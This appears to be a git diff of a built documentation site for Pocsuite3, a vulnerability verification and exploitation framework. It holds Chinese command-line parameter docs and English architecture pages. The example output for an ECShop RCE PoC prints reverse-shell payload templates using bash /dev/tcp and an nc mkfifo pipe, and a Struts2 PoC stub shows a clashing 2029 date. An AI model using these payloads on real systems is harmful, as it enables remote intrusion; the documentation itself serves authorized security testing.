HTTP \u8BF7\u6C42\u7684 User-Agent \u8BBE\u7F6E\uFF0C\u9ED8\u8BA4\u4E3A\u968F\u673A\u3002

-http-debug

HTTP \u7684 Debug \u4FE1\u606F\uFF0C\u9ED8\u8BA4\u7B49\u7EA7\u4E3A 0

--session-reuse

\u542F\u7528 session \u91CD\u7528

--session-reuse-num

session \u91CD\u7528\u6570\u91CF

\u5176\u4ED6\u7F51\u7EDC\u8BF7\u6C42\u63A7\u5236\u9009\u9879\u8FD8\u6709\uFF1A--cookie\u3001--host\u3001--referer\u3001--retry\u3001--delay\u3001--headers\uFF0C\u6B64\u5904\u4E0D\u518D\u4E00\u4E00\u8D58\u8FF0\u3002

DNSLog \u670D\u52A1

--ceye-token

\u901A\u8FC7 CEye API \u8F85\u52A9\u9A8C\u8BC1\u76F2\u6253 HTTP/DNS \u8BF7\u6C42\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 CEye API key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --ceye-token \u53C2\u6570\u63D0\u4F9B\u3002

--oob-server / --oob-token

\u901A\u8FC7 Interactsh API \u8F85\u52A9\u9A8C\u8BC1\u76F2\u6253 HTTP/DNS \u8BF7\u6C42\u3002

Interactsh \u662F\u77E5\u540D\u5F00\u6E90\u8F6F\u4EF6\u7EC4\u7EC7 projectdiscovery \u5F00\u53D1\u7684\u4E00\u6B3E DNSLog \u5DE5\u5177\uFF0C\u548C CEye \u7C7B\u4F3C\u3002Pocsuite3 \u4ECE 1.8.8 \u7248\u672C\u5F00\u59CB\u96C6\u6210\u4E86 interactsh\uFF0C\u7ED9\u7528\u6237\u66F4\u591A\u9009\u62E9\u3002

\u901A\u8FC7 --oob-server \u53EF\u6307\u5B9A\u81EA\u5B9A\u4E49\u7684 Interactsh \u670D\u52A1\u5668\u5730\u5740\uFF0C\u9ED8\u8BA4\u4E3A interact.sh\uFF0C\u5982\u679C\u9700\u8981\u8BA4\u8BC1\uFF0C\u53EF\u901A\u8FC7\u53C2\u6570 --oob-token \u63D0\u4F9B\u3002

Docker \u63A7\u5236

\u5728 v2.0.6 \u7248\u672C\u4E2D\u5F15\u5165\u4E86 Docker \u6F0F\u6D1E\u73AF\u5883\u642D\u5EFA\uFF0C\u5177\u4F53\u5B9E\u73B0\u65B9\u6CD5\u4E3A\uFF1A\u5728 PoC \u6DFB\u52A0 dockerfile \u5B57\u6BB5

class DemoPOC(POCBase):
+    vulID = ''  # ssvid
+    version = '1.0'
+    author = ['']
+    vulDate = '2029-5-8'
+    createDate = '2019-5-8'
+    updateDate = '2019-5-8'
+    references = ['']
+    name = 'Struts2 045 RCE CVE-2017'
+    appPowerLink = ''
+    appName = 'struts2'
+    appVersion = ''
+    vulType = ''
+    desc = '''S2-045:\u5F71\u54CD\u7248\u672CStruts 2.3.20-2.3.28(\u9664\u4E862.3.20.3\u548C2.3.24.3)'''
+    samples = []
+    category = POC_CATEGORY.EXPLOITS.WEBAPP
+    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
+

--docker-start

\u6307\u5B9A\u8BE5\u53C2\u6570\u4F1A\u4ECE PoC \u4E2D\u83B7\u53D6 Dockerfile \u5E76\u6784\u5EFA\u5BB9\u5668

--docker-port

\u7AEF\u53E3\u6620\u5C04\uFF0C\u4E0E Docker \u5B98\u65B9\u63D0\u4F9B\u7684\u6620\u5C04\u4E00\u6837\uFF0C--docker-port 8080:8080

--docker-volume

\u6302\u8F7D host \u6587\u4EF6\uFF0C\u4F7F\u7528\u65B9\u6CD5\u4E3A\uFF1A--docker-volume /host/file:/container/file

--docker-env

\u8BBE\u7F6E\u5BB9\u5668\u7684\u73AF\u5883\u53D8\u91CF\uFF0C\u4F7F\u7528\u65B9\u6CD5\u4E3A --docker-env NAME=VALUE

--docker-only

\u53EA\u542F\u52A8 Docker \u73AF\u5883\u4E0D\u5B9E\u7528 PoC \u8FDB\u884C\u9A8C\u8BC1\u3002

Web Hook

\u626B\u63CF\u5B8C\u6210\u4F7F\u7528 \u9489\u9489 \u548C \u4F01\u4E1A\u5FAE\u4FE1 \u8FDB\u884C\u901A\u77E5

--dingtalk-token

\u9489\u9489\u7684 token

--dingtalk-secret

\u9489\u9489\u7684 secret

--wx-work-key

\u4F01\u4E1A\u5FAE\u4FE1\u7684 Web Hook key

\u81EA\u5B9A\u4E49\u7684\u53C2\u6570

--options

\u6709\u7684 PoC \u811A\u672C\u9700\u8981\u586B\u5199\u767B\u5F55\u4FE1\u606F\uFF0C\u6216\u8005\u4EFB\u610F\u547D\u4EE4\u6267\u884C\u65F6\u6267\u884C\u7528\u6237\u6307\u5B9A\u7684\u547D\u4EE4\u3002\u53EF\u5728 PoC \u4E2D\u81EA\u5B9A\u4E49\u53C2\u6570\uFF0C\u53EF\u53C2\u89C1\uFF1A\u53EF\u81EA\u5B9A\u4E49\u53C2\u6570\u7684 PoC

\u4F7F\u7528 --optioins \u53C2\u6570\u53EF\u4EE5\u5F88\u65B9\u4FBF\u7684\u67E5\u770B\u67D0 PoC \u7684\u81EA\u5B9A\u4E49\u53C2\u6570\u4FE1\u606F\uFF0C\u5982\u4E0B\uFF1A

pocsuite -k ecshop --options
+
+[17:27:24] [INFO] loading PoC script '**/lib/python3.9/site-packages/pocsuite3-1.9.6-py3.9.egg/pocsuite3/pocs/ecshop_rce.py'
+
+Module (pocs_ecshop_rce) options:
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+|     Name    |             Current settings             |  Type  |                               Description                                |
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+|   command   |                  whoami                  | String |                             \u653B\u51FB\u65F6\u81EA\u5B9A\u4E49\u547D\u4EE4                             |
+| app_version |                   Auto                   | Select |                           \u76EE\u6807\u7248\u672C\uFF0C\u53EF\u81EA\u52A8\u5339\u914D                           |
+|   payload   | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |  Dict  | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
+|             |                                          |        |              bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'               |
+|             |                                          |        |                                                                          |
+|             |                                          |        |          You can select dict_keys(['nc', 'bash']) ,default:bash          |
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+
+[*] shutting down at 17:27:24
+

\u7ED3\u679C\u6C47\u603B

-v / --ppt

\u63A7\u5236\u53F0\u65E5\u5FD7\u83B7\u53D6\u7ED3\u679C\uFF0C-v \u7528\u4E8E\u63A7\u5236\u65E5\u5FD7\u7B49\u7EA7\uFF0C--ppt \u53EF\u4EE5\u5C06 IP \u5730\u5740\u9A6C\u8D5B\u514B\u5904\u7406\uFF0C\u65B9\u4FBF\u5F55\u5C4F\u3002

pocsuite -k ecshop -u 127.0.0.1 -v 2 --ppt
+...
+[17:47:51] [INFO] loading PoC script 'pocsuite3/pocs/ecshop_rce.py'
+[17:47:51] [INFO] pocsusite got a total of 1 tasks
+[17:47:51] [DEBUG] pocsuite will open 1 threads
+[17:47:51] [INFO] running poc:'Ecshop 2.x/3.x Remote Code Execution' target '*.*.0.1'
+[17:47:54] [INFO] Scan completed,ready to print
+
++------------+--------------------------------------+--------+-----------+---------+--------+
+| target-url |               poc-name               | poc-id | component | version | status |
++------------+--------------------------------------+--------+-----------+---------+--------+
+| *.*.0.1    | Ecshop 2.x/3.x Remote Code Execution | 97343  |   ECSHOP  | 2.x,3.x | failed |
++------------+--------------------------------------+--------+-----------+---------+--------+
+success : 0 / 1
+...
+
+

-o / --output

\u5C06\u7ED3\u679C\u4FDD\u5B58\u4E3A JSON Lines \u683C\u5F0F\u6587\u4EF6\u3002

\u5176\u4ED6

--update

\u68C0\u67E5\u4E0A\u6E38\u6700\u65B0\u7248\u672C\u3002

\u279C pocsuite --update
+
+,------.                        ,--. ,--.       ,----.   {1.9.6-706acc1}
+|  .--. ',---. ,---.,---.,--.,--\`--,-'  '-.,---.'.-.  |
+|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <
+|  | --'' '-' \\ \`--.-'  \`'  ''  |  | |  | \\   --/'-'  |
+\`--'     \`---' \`---\`----' \`----'\`--' \`--'  \`----\`----'   https://pocsuite.org
+[*] starting at 20:18:19
+
+[20:18:19] [INFO] Checking the latest version number of pocsuite3 on pypi
+[20:18:19] [INFO] Current upstream version: 1.9.6
+...
+

--version

\u8F93\u51FA\u5F53\u524D\u5B89\u88C5\u7684 Pocsuite3 \u7684\u7248\u672C\u3002

-n / --new

\u751F\u6210 PoC \u6A21\u7248\uFF0C\u53EF\u53C2\u8003\uFF1A\u5B9E\u6218 PoC \u5F00\u53D1

-c

\u901A\u8FC7\u914D\u7F6E\u6587\u4EF6\u63D0\u4F9B\u6240\u6709\u53C2\u6570\uFF0C\u683C\u5F0F\u53EF\u89C1\uFF1Apocsuite.ini \u914D\u7F6E\u6587\u4EF6\u53C2\u6570\u8BF4\u660E

--plugins

\u52A0\u8F7D\u6267\u884C\u81EA\u5B9A\u4E49\u7684\u63D2\u4EF6\uFF0C\u8BE6\u60C5\u53EF\u89C1\uFF1A\u63D2\u4EF6\u7F16\u5199

--rule / --rule-req / --rule-filename

\u5BFC\u51FA PoC \u811A\u672C\u4E2D\u7684 suricata \u89C4\u5219\uFF08\u9700\u8981\u5728 PoC \u5C5E\u6027\u4E2D\u5B9A\u4E49 suricata_request\u3001suricata_respons\uFF09\u3002

--no-check

\u7981\u7528 URL HTTP/HTTPS \u534F\u8BAE\u81EA\u52A8\u7EA0\u6B63\u548C\u871C\u7F50\u68C0\u67E5\u3002

`,144),t=[c];function r(D,y,C,d,A,i){return p(),o("div",null,t)}var k=n(l,[["render",r]]);export{u as __pageData,k as default}; diff --git a/assets/guide_parameter-pocsuite.md.ad7d3ac0.lean.js b/assets/guide_parameter-pocsuite.md.ad7d3ac0.lean.js new file mode 100644 index 00000000..98067471 --- /dev/null +++ b/assets/guide_parameter-pocsuite.md.ad7d3ac0.lean.js @@ -0,0 +1 @@ +import{_ as s,a}from"./chunks/parameter-pcap-traffic.32a66c33.js";import{_ as n,j as o,g as p,H as e}from"./chunks/framework.8815fd6f.js";const u=JSON.parse('{"title":"pocsuite \u547D\u4EE4\u884C\u53C2\u6570\u8BF4\u660E","description":"","frontmatter":{},"headers":[{"level":2,"title":"\u76EE\u6807\u52A0\u8F7D","slug":"\u76EE\u6807\u52A0\u8F7D"},{"level":2,"title":"PoC \u811A\u672C\u52A0\u8F7D","slug":"poc-\u811A\u672C\u52A0\u8F7D"},{"level":2,"title":"\u8FD0\u884C\u63A7\u5236","slug":"\u8FD0\u884C\u63A7\u5236"},{"level":2,"title":"\u7F51\u7EDC\u63A7\u5236","slug":"\u7F51\u7EDC\u63A7\u5236"},{"level":2,"title":"DNSLog \u670D\u52A1","slug":"dnslog-\u670D\u52A1"},{"level":2,"title":"Docker \u63A7\u5236","slug":"docker-\u63A7\u5236"},{"level":2,"title":"Web Hook","slug":"web-hook"},{"level":2,"title":"\u81EA\u5B9A\u4E49\u7684\u53C2\u6570","slug":"\u81EA\u5B9A\u4E49\u7684\u53C2\u6570"},{"level":2,"title":"\u7ED3\u679C\u6C47\u603B","slug":"\u7ED3\u679C\u6C47\u603B"},{"level":2,"title":"\u5176\u4ED6","slug":"\u5176\u4ED6"}],"relativePath":"guide/parameter-pocsuite.md","lastUpdated":1679524720000}'),l={name:"guide/parameter-pocsuite.md"},c=e("",144),t=[c];function r(D,y,C,d,A,i){return p(),o("div",null,t)}var k=n(l,[["render",r]]);export{u as __pageData,k as default}; diff --git a/en/guide/QA.html b/en/guide/QA.html index 202fbef1..0fa83cdd 100644 --- a/en/guide/QA.html +++ b/en/guide/QA.html @@ -8,14 +8,14 @@ - + - - - + + + \ No newline at end of file diff --git a/en/guide/architecture.html b/en/guide/architecture.html index 31c716ae..14dfd8f6 100644 --- a/en/guide/architecture.html +++ b/en/guide/architecture.html @@ -8,14 +8,14 @@ - + -
Skip to content
On this page

Brief analysis of Architecture

In order to use it more smoothly, it is necessary to understand the architecture of the framework. On the whole, this framework mainly includes four parts: target loading, PoC script loading, multithread detection and results summary. As shown in the following figure:

Target loading

First, let's take a look at target loading. Currently, the following methods are supported:

  • -u specify a single URL or CIDR, which supports IPv4 / IPv6. Using the -p parameter can provide additional ports, and it is convenient to detect a whole network of adjacent hosts.
  • -f specify a file (save multiple URL/CIDRs to a file, one per line).
  • --dork, the framework integrates common cyberspace search engines such as ZoomEye, Shodan and so on. It can automatically import targets by providing search keywords and API-KEY with corresponding parameters. It is worth mentioning that users can also put search keywords into the dork attribute of the PoC script.
  • --plugins call the plugin to load the target, such as target_from_redis. Users can also customize the TARGETS plugin.

PoC script loading

  • The -r option supports specifying one or more PoC filepaths (or directories). If a directory is provided, the framework will traverse the directory and then load all qualified PoCs. Users can use the -k option to specify keywords to filter PoCs, such as component name, CVE number, etc. If we confirm the target component, we can use the -k option to find all the corresponding PoCs for batch testing of the target. If only the -k option is provided, -r defaults to the pocsuite3/pocs directory that comes with Pocsuite3.
  • --plugins call the plugin to load PoC, such as poc_from_seebugpoc_from_redis. Users can also customize POCS plugins.

Multithread detection

After the user specifies the target and PoC, the framework will match each target and PoC (Cartesian product), generate a queue with element (target, poc_module), and then start a thread pool with the default size of 150 (can be set through --threads) to process this queue.

In Pocsuite3, the PoC script has three running modes, corresponding to the three methods defined in the PoC respectively. The command line parameters --verify, --attack, --shell can be used to determine which method to execute. If not specified, the default is --verify.

What a thread needs to do is to initialize the PoC script with target as the parameter, execute the specified method, and then obtain the execution result.

Results summary

After obtaining the execution results in the previous step, the framework provides a variety of methods to process and save the results.

  • Console log, -v parameter controls the log level, --ppt parameter can hide ip address, which is convenient for screen recording.
  • -o parameter saves the result as a file in JSON Lines format.
  • --plugins calls the plugin to process the results, such as file_recordhtml_report. Users can also customize the RESULTS plugin.

Released under the GPLv2 License.

- - +
Skip to content
On this page

Brief analysis of Architecture

In order to use it more smoothly, it is necessary to understand the architecture of the framework. On the whole, this framework mainly includes four parts: target loading, PoC script loading, multithread detection and results summary. As shown in the following figure:

Target loading

First, let's take a look at target loading. Currently, the following methods are supported:

  • -u specify a single URL or CIDR, which supports IPv4 / IPv6. Using the -p parameter can provide additional ports, and it is convenient to detect a whole network of adjacent hosts.
  • -f specify a file (save multiple URL/CIDRs to a file, one per line).
  • --dork, the framework integrates common cyberspace search engines such as ZoomEye, Shodan and so on. It can automatically import targets by providing search keywords and API-KEY with corresponding parameters. It is worth mentioning that users can also put search keywords into the dork attribute of the PoC script.
  • --plugins call the plugin to load the target, such as target_from_redis. Users can also customize the TARGETS plugin.

PoC script loading

  • The -r option supports specifying one or more PoC filepaths (or directories). If a directory is provided, the framework will traverse the directory and then load all qualified PoCs. Users can use the -k option to specify keywords to filter PoCs, such as component name, CVE number, etc. If we confirm the target component, we can use the -k option to find all the corresponding PoCs for batch testing of the target. If only the -k option is provided, -r defaults to the pocsuite3/pocs directory that comes with Pocsuite3.
  • --plugins call the plugin to load PoC, such as poc_from_seebugpoc_from_redis. Users can also customize POCS plugins.

Multithread detection

After the user specifies the target and PoC, the framework will match each target and PoC (Cartesian product), generate a queue with element (target, poc_module), and then start a thread pool with the default size of 150 (can be set through --threads) to process this queue.

In Pocsuite3, the PoC script has three running modes, corresponding to the three methods defined in the PoC respectively. The command line parameters --verify, --attack, --shell can be used to determine which method to execute. If not specified, the default is --verify.

What a thread needs to do is to initialize the PoC script with target as the parameter, execute the specified method, and then obtain the execution result.

Results summary

After obtaining the execution results in the previous step, the framework provides a variety of methods to process and save the results.

  • Console log, -v parameter controls the log level, --ppt parameter can hide ip address, which is convenient for screen recording.
  • -o parameter saves the result as a file in JSON Lines format.
  • --plugins calls the plugin to process the results, such as file_recordhtml_report. Users can also customize the RESULTS plugin.

Released under the GPLv2 License.

+ + \ No newline at end of file diff --git a/en/guide/copyright-notice.html b/en/guide/copyright-notice.html index 38ea18e5..b3dcc0e0 100644 --- a/en/guide/copyright-notice.html +++ b/en/guide/copyright-notice.html @@ -8,12 +8,12 @@ - + -
Skip to content